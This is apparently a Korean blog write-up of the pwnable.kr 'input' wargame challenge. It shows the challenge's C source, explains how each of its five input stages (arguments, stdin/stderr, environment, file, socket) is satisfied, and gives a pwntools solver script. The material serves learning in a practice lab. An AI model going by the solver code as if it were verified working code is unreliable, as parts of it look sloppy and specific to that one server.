풀이
문제 길이만 보면 점수 더 줘야지..
다음은 input.c의 코드이다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
단계별로 코드를 리뷰하고, 어떤 방법의 공격이 필요한가 설명 후, Stage 1 ~ Stage 5까지의 페이로드를 올리겠다.
Stage 1
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
if(argc != 100) return 0;
인자의 개수가 100개가 아니면 프로그램을 종료한다.
인자를 받을 때 주의할 점은 코드를 실행하기 위한 ./input 또한 인자의 개수로 들어간다는 것이다.
인자의 개수를 100개로 맞추고 싶으면 ./input + 99개의 값이 필요하다.
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
인자의 A(65)번째는 \x00, B(66)번째는 \x20\x0a\x0d가 들어가야 한다.
값을 그냥 넣게되면, null byte 오류가 뜨기 때문에, pwntools에 process 기능을 이용하도록 하자.
Stage 2
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
read(0, buf, 4)는 send 함수 기능을 이용해 간단히 해결할 수 있으나, read(2, buf, 4)가 문제다.
표준 에러로 값을 읽기 때문에, Stage 1과 마찬가지로, process 함수의 인자 stderr을 이용하면 해결할 수 있다.
Stage 3
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
환경변수를 이용한 문제다.
\xde\xad\xbe\xef 환경변수 값이 \xca\xfe\xba\xbe여야 해결되는 문제다.
마찬가지로 process 함수의 인자 env을 이용하면 해결할 수 있다. 여기서 env는 dict 타입으로 값을 넣어줘야 한다.
Stage 4
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
파일 포인터로 \x0a를 열어 내용이 \x00\x00\x00\x00면 해결되는 문제다.
간단히 open, write 함수를 이용해 문제를 해결할 수 있다.
Stage 5
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
코드는 길어보이지만, argv의 C(67)번째 포트를 열고, 입력된 값이 \xde\xad\xbe\xef면 해결되는 문제다.
간단하게 pwntools의 remote, send로 해결할 수 있다.
마지막으로 우리가 코드를 실행할 수 있는 위치는 읽기 쓰기 권한이 있는 /tmp 디렉터리이다.
flag 파일은 /home/input2 디렉터리에 존재함으로, flag 파일에 링크를 걸어주도록 하자.
ln -s /home/input2/flag ./flag
페이로드는 다음과 같다.
from pwn import *
err = open('/tmp/bjloed/error', 'w')
err.write('\x00\x0a\x02\xff')
err = open('/tmp/bjloed/error', 'r')
fp = open('\x0a', 'w')
fp.write('\x00\x00\x00\x00')
fp = open('\x0a', 'r')
payload = [ " " for i in range(0,100)]
payload[0] = "/home/input2/input"
payload[65] = "\x00"
payload[66] = "\x20\x0a\x0d"
payload[67] = '5555'
p = process(argv=payload, stderr=err, env={'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'})
p.recv(123)
payload = '\x00\x0a\x00\xff'
p.send(payload)
sock = remote('pwnable.kr', 5555)
sock.send('\xde\xad\xbe\xef')
sock.close()
arr = p.recv(100)
print arr
p.interactive()
'Wargame > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] mistake 풀이 (1pt) (0) | 2020.07.20 |
---|---|
[Pwnable.kr] leg 풀이 (2pt) (0) | 2020.07.20 |
[Pwnable.kr] random 풀이 (1pt) (0) | 2020.07.19 |
[Pwnable.kr] passcode 풀이 (10pt) (0) | 2020.07.19 |
[Pwnable.kr] flag 풀이 (7pt) (0) | 2020.07.19 |